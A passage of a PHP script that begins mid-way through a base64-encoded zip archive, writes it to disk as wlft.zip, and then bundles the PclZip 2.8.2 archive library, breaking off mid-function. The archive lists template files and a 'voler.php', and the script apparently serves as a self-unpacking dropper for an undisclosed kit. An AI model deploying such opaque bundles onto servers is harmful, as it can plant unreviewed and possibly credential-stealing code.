mMoCAAAGBgAAFQAkAAAAAAAAACAAAACRNAAAd2xmdC90ZW1wbGF0ZXMvMTEudHh0CgAgAAAAAAABABgAzM7JEkOB0gG7DBQBH4PSAajmaFwZg9IBUEsBAh8AFAAAAAgAE4FHSgyBDTxVAgAAmQUAABUAJAAAAAAAAAAgAAAAjjcAAHdsZnQvdGVtcGxhdGVzLzEyLnR4dAoAIAAAAAAAAQAYAM1qVExDgdIBHvcUAR+D0gEe9xQBH4PSAVBLAQIfABQAAAAIAGmBR0odclrBWgIAAEAFAAAVACQAAAAAAAAAIAAAABY6AAB3bGZ0L3RlbXBsYXRlcy8xMy50eHQKACAAAAAAAAEAGACOLlarQ4HSAS8eFQEfg9IBLx4VAR+D0gFQSwECHwAUAAAACACdgUdKTH8sdvABAAB/AwAAFQAkAAAAAAAAACAAAACjPAAAd2xmdC90ZW1wbGF0ZXMvMTQudHh0CgAgAAAAAAABABgAWgz15kOB0gE/RRUBH4PSAT9FFQEfg9IBUEsBAh8AFAAAAAgA3YFHSty+PVdEAgAAPgUAABUAJAAAAAAAAAAgAAAAxj4AAHdsZnQvdGVtcGxhdGVzLzE1LnR4dAoAIAAAAAAAAQAYADTfVC9EgdIBYJMVAR+D0gHOvC89GYPSAVBLAQIfABQAAAAIADqLSEqvrs+RLQUAAAMMAAAVACQAAAAAAAAAIAAAAD1BAAB3bGZ0L3RlbXBsYXRlcy8yMC50eHQKACAAAAAAAAEAGAB2ehdBF4LSAWzclhcfg9IBbNyWFx+D0gFQSwECHwAUAAAACAB6iUhKTxxp1M0CAADYBgAAFAAkAAAAAAAAACAAAACdRgAAd2xmdC90ZW1wbGF0ZXMvNi50eHQKACAAAAAAAAEAGADLqRJMFYLSAWdephYfg9IBZ16mFh+D0gFQSwECHwAUAAAACADViUhKBOXHOnoCAACpBQAAFAAkAAAAAAAAACAAAACcSQAAd2xmdC90ZW1wbGF0ZXMvNy50eHQKACAAAAAAAAEAGADi3xqxFYLSAXeFphYfg9IBd4WmFh+D0gFQSwECHwAUAAAACABIikhKkQLkKSYCAADoBAAAFAAkAAAAAAAAACAAAABITAAAd2xmdC90ZW1wbGF0ZXMvOC50eHQKACAAAAAAAAEAGAAVPSUxFoLSAYisphYfg9IBiKymFh+D0gFQSwECHwAUAAAACACuikhKUsILd5UCAADgBAAAFAAkAAAAAAAAACAAAACgTgAAd2xmdC90ZW1wbGF0ZXMvOS50eHQKACAAAAAAAAEAGACy35ajFoLSAan6phYfg9IBqfqmFh+D0gFQSwECHwAKAAAAAAD7q4pJAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAABnUQAAd2xmdC92b2wvCgAgAAAAAAABABgAZudOrxNT0gE2tL/mPnbSATa0v+Y+dtIBUEsBAh8AFAAAAAgAgBONSZ6t8w9jFAAABWkAAA4AJAAAAAAAAAAgAAAAjlEAAHdsZnQvdm9sZXIucGhwCgAgAAAAAAABABgAw82lYM9U0gFfuL3mPnbSAV+4veY+dtIBUEsFBgAAAAAUABQAugcAAB1mAAAAAA==");
file_put_contents("wlft.zip",$data);
if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
}
if (!defined('PCLZIP_SEPARATOR')) {
define( 'PCLZIP_SEPARATOR', ',' );
}
if (!defined('PCLZIP_ERROR_EXTERNAL')) {
define( 'PCLZIP_ERROR_EXTERNAL', 0 );
}
if (!defined('PCLZIP_TEMPORARY_DIR')) {
define( 'PCLZIP_TEMPORARY_DIR', '' );
}
if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
}
$g_pclzip_version = "2.8.2";
define( 'PCLZIP_ERR_USER_ABORTED', 2 );
define( 'PCLZIP_ERR_NO_ERROR', 0 );
define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
define( 'PCLZIP_ERR_MISSING_FILE', -4 );
define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );
define( 'PCLZIP_OPT_PATH', 77001 );
define( 'PCLZIP_OPT_ADD_PATH', 77002 );
define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
define( 'PCLZIP_OPT_BY_NAME', 77008 );
define( 'PCLZIP_OPT_BY_INDEX', 77009 );
define( 'PCLZIP_OPT_BY_EREG', 77010 );
define( 'PCLZIP_OPT_BY_PREG', 77011 );
define( 'PCLZIP_OPT_COMMENT', 77012 );
define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
define( 'PCLZIP_ATT_FILE_NAME', 79001 );
define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );
define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
define( 'PCLZIP_CB_PRE_ADD', 78003 );
define( 'PCLZIP_CB_POST_ADD', 78004 );
class PclZip
{
var $zipname = '';
var $zip_fd = 0;
var $error_code = 1;
var $error_string = '';
var $magic_quotes_status;
function PclZip($p_zipname)
{
if (!function_exists('gzopen'))
{
die('Abort '.basename(__FILE__).' : Missing zlib extensions');
}
$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;
return;
}
function create($p_filelist)
{
$v_result=1;
$this->privErrorReset();
$v_options = array();
$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
$v_size = func_num_args();
if ($v_size > 1) {
$v_arg_list = func_get_args();
array_shift($v_arg_list);
$v_size--;
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_ADD => 'optional',
PCLZIP_CB_POST_ADD => 'optional',
PCLZIP_OPT_NO_COMPRESSION => 'optional',
PCLZIP_OPT_COMMENT => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
));
if ($v_result != 1) {
return 0;
}
}
else {
$v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
if ($v_size == 2) {
$v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
}
else if ($v_size > 2) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
"Invalid number / type of arguments");
return 0;
}
}
}
$this->privOptionDefaultThreshold($v_options);
$v_string_list = array();
$v_att_list = array();
$v_filedescr_list = array();
$p_result_list = array();
if (is_array($p_filelist)) {
if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
$v_att_list = $p_filelist;
}
else {
$v_string_list = $p_filelist;
}
}
else if (is_string($p_filelist)) {
$v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
return 0;
}
if (sizeof($v_string_list) != 0) {
foreach ($v_string_list as $v_string) {
if ($v_string != '') {
$v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
}
else {
}
}
}
$v_supported_attributes
= array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
,PCLZIP_ATT_FILE_MTIME => 'optional'
,PCLZIP_ATT_FILE_CONTENT => 'optional'
,PCLZIP_ATT_FILE_COMMENT => 'optional'
);
foreach ($v_att_list as $v_entry) {
$v_result = $this->privFileDescrParseAtt($v_entry,
$v_filedescr_list[],
$v_options,
$v_supported_attributes);
if ($v_result != 1) {
return 0;
}
}
$v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
if ($v_result != 1) {
return 0;
}
$v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
if ($v_result != 1) {
return 0;
}
return $p_result_list;
}
function add($p_filelist)
{
$v_result=1;
$this->privErrorReset();
$v_options = array();
$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
$v_size = func_num_args();
if ($v_size > 1) {
$v_arg_list = func_get_args();
array_shift($v_arg_list);
$v_size--;
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_ADD => 'optional',
PCLZIP_CB_POST_ADD => 'optional',
PCLZIP_OPT_NO_COMPRESSION => 'optional',
PCLZIP_OPT_COMMENT => 'optional',
PCLZIP_OPT_ADD_COMMENT => 'optional',
PCLZIP_OPT_PREPEND_COMMENT => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
));
if ($v_result != 1) {
return 0;
}
}
else {
$v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
if ($v_size == 2) {
$v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
}
else if ($v_size > 2) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
return 0;
}
}
}
$this->privOptionDefaultThreshold($v_options);
$v_string_list = array();
$v_att_list = array();
$v_filedescr_list = array();
$p_result_list = array();
if (is_array($p_filelist)) {
if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
$v_att_list = $p_filelist;
}
else {
$v_string_list = $p_filelist;
}
}
else if (is_string($p_filelist)) {
$v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
return 0;
}
if (sizeof($v_string_list) != 0) {
foreach ($v_string_list as $v_string) {
$v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
}
}
$v_supported_attributes
= array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
,PCLZIP_ATT_FILE_MTIME => 'optional'
,PCLZIP_ATT_FILE_CONTENT => 'optional'
,PCLZIP_ATT_FILE_COMMENT => 'optional'
);
foreach ($v_att_list as $v_entry) {
$v_result = $this->privFileDescrParseAtt($v_entry,
$v_filedescr_list[],
$v_options,
$v_supported_attributes);
if ($v_result != 1) {
return 0;
}
}
$v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
if ($v_result != 1) {
return 0;
}
$v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
if ($v_result != 1) {
return 0;
}
return $p_result_list;
}
function listContent()
{
$v_result=1;
$this->privErrorReset();
if (!$this->privCheckFormat()) {
return(0);
}
$p_list = array();
if (($v_result = $this->privList($p_list)) != 1)
{
unset($p_list);
return(0);
}
return $p_list;
}
function extract()
{
$v_result=1;
$this->privErrorReset();
if (!$this->privCheckFormat()) {
return(0);
}
$v_options = array();
$v_path = '';
$v_remove_path = "";
$v_remove_all_path = false;
$v_size = func_num_args();
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
if ($v_size > 0) {
$v_arg_list = func_get_args();
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_PATH => 'optional',
PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_EXTRACT => 'optional',
PCLZIP_CB_POST_EXTRACT => 'optional',
PCLZIP_OPT_SET_CHMOD => 'optional',
PCLZIP_OPT_BY_NAME => 'optional',
PCLZIP_OPT_BY_EREG => 'optional',
PCLZIP_OPT_BY_PREG => 'optional',
PCLZIP_OPT_BY_INDEX => 'optional',
PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
PCLZIP_OPT_REPLACE_NEWER => 'optional'
,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
));
if ($v_result != 1) {
return 0;
}
if (isset($v_options[PCLZIP_OPT_PATH])) {
$v_path = $v_options[PCLZIP_OPT_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
$v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
$v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
}
if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
$v_path .= '/';
}
$v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
}
}
else {
$v_path = $v_arg_list[0];
if ($v_size == 2) {
$v_remove_path = $v_arg_list[1];
}
else if ($v_size > 2) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
return 0;
}
}
}
$this->privOptionDefaultThreshold($v_options);
$p_list = array();
$v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
$v_remove_all_path, $v_options);
if ($v_result < 1) {
unset($p_list);
return(0);
}
return $p_list;
}
function extractByIndex($p_index)
{
$v_result=1;
$this->privErrorReset();
if (!$this->privCheckFormat()) {
return(0);
}
$v_options = array();
$v_path = '';
$v_remove_path = "";
$v_remove_all_path = false;
$v_size = func_num_args();
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
if ($v_size > 1) {
$v_arg_list = func_get_args();
array_shift($v_arg_list);
$v_size--;
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_PATH => 'optional',
PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_EXTRACT => 'optional',
PCLZIP_CB_POST_EXTRACT => 'optional',
PCLZIP_OPT_SET_CHMOD => 'optional',
PCLZIP_OPT_REPLACE_NEWER => 'optional'
,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
));
if ($v_result != 1) {
return 0;
}
if (isset($v_options[PCLZIP_OPT_PATH])) {
$v_path = $v_options[PCLZIP_OPT_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
$v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
$v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
}
if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
$v_path .= '/';
}
$v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
}
if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
}
else {
}
}
else {
$v_path = $v_arg_list[0];
if ($v_size == 2) {
$v_remove_path = $v_arg_list[1];
}
else if ($v_size > 2) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
return 0;
}
}
}
$v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
$v_options_trick = array();
$v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
array (PCLZIP_OPT_BY_INDEX => 'optional' ));
if ($v_result != 1) {
return 0;
}
$v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
$this->privOptionDefaultThreshold($v_options);
if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
return(0);
}
return $p_list;
}
function delete()
{
$v_result=1;
$this->privErrorReset();
if (!$this->privCheckFormat()) {
return(0);
}
$v_options = array();
$v_size = func_num_args();
if ($v_size > 0) {
$v_arg_list = func_get_args();
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_BY_NAME => 'optional',
PCLZIP_OPT_BY_EREG => 'optional',
PCLZIP_OPT_BY_PREG => 'optional',
PCLZIP_OPT_BY_INDEX => 'optional' ));
if ($v_result != 1) {
return 0;
}
}
$this->privDisableMagicQuotes();
$v_list = array();
if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
$this->privSwapBackMagicQuotes();
unset($v_list);
return(0);
}
$this->privSwapBackMagicQuotes();
return $v_list;
}
function deleteByIndex($p_index)
{
$p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
return $p_list;
}
function properties()
{
$this->privErrorReset();
$this->privDisableMagicQuotes();
if (!$this->privCheckFormat()) {
$this->privSwapBackMagicQuotes();
return(0);
}
$v_prop = array();
$v_prop['comment'] = '';
$v_prop['nb'] = 0;
$v_prop['status'] = 'not_exist';
if (@is_file($this->zipname))
{
if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
{
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
return 0;
}
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privSwapBackMagicQuotes();
return 0;
}
$this->privCloseFd();
$v_prop['comment'] = $v_central_dir['comment'];
$v_prop['nb'] = $v_central_dir['entries'];
$v_prop['status'] = 'ok';
}
$this->privSwapBackMagicQuotes();
return $v_prop;
}
function duplicate($p_archive)
{
$v_result = 1;
$this->privErrorReset();
if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
{
$v_result = $this->privDuplicate($p_archive->zipname);
}
else if (is_string($p_archive))
{
if (!is_file($p_archive)) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
$v_result = PCLZIP_ERR_MISSING_FILE;
}
else {
$v_result = $this->privDuplicate($p_archive);
}
}
else
{
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
$v_result = PCLZIP_ERR_INVALID_PARAMETER;
}
return $v_result;
}
function merge($p_archive_to_add)
{
$v_result = 1;
$this->privErrorReset();
if (!$this->privCheckFormat()) {
return(0);
}
if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
{
$v_result = $this->privMerge($p_archive_to_add);
}
else if (is_string($p_archive_to_add))
{
$v_object_archive = new PclZip($p_archive_to_add);
$v_result = $this->privMerge($v_object_archive);
}
else
{
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
$v_result = PCLZIP_ERR_INVALID_PARAMETER;
}
return $v_result;
}
function errorCode()
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
return(PclErrorCode());
}
else {
return($this->error_code);
}
}
function errorName($p_with_code=false)
{
$v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
);
if (isset($v_name[$this->error_code])) {
$v_value = $v_name[$this->error_code];
}
else {
$v_value = 'NoName';
}
if ($p_with_code) {
return($v_value.' ('.$this->error_code.')');
}
else {
return($v_value);
}
}
function errorInfo($p_full=false)
{
if (PCLZIP_ERROR_EXTERNAL == 1) {
return(PclErrorString());
}
else {
if ($p_full) {
return($this->errorName(true)." : ".$this->error_string);
}
else {
return($this->error_string." [code ".$this->error_code."]");
}
}
}
function privCheckFormat($p_level=0)
{
$v_result = true;
clearstatcache();
$this->privErrorReset();
if (!is_file($this->zipname)) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
return(false);
}
if (!is_readable($this->zipname)) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
return(false);
}
return $v_result;
}
function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
{
$v_result=1;
$i=0;
while ($i<$p_size) {
if (!isset($v_requested_options[$p_options_list[$i]])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
return PclZip::errorCode();
}
switch ($p_options_list[$i]) {
case PCLZIP_OPT_PATH :
case PCLZIP_OPT_REMOVE_PATH :
case PCLZIP_OPT_ADD_PATH :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
$i++;
break;
case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
return PclZip::errorCode();
}
$v_value = $p_options_list[$i+1];
if ((!is_integer($v_value)) || ($v_value<0)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = $v_value*1048576;
$i++;
break;
case PCLZIP_OPT_TEMP_FILE_ON :
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = true;
break;
case PCLZIP_OPT_TEMP_FILE_OFF :
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
return PclZip::errorCode();
}
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = true;
break;
case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
if ( is_string($p_options_list[$i+1])
&& ($p_options_list[$i+1] != '')) {
$v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
$i++;
}
else {
}
break;
case PCLZIP_OPT_BY_NAME :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
if (is_string($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
}
else if (is_array($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$i++;
break;
case PCLZIP_OPT_BY_EREG :
$p_options_list[$i] = PCLZIP_OPT_BY_PREG;
case PCLZIP_OPT_BY_PREG :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
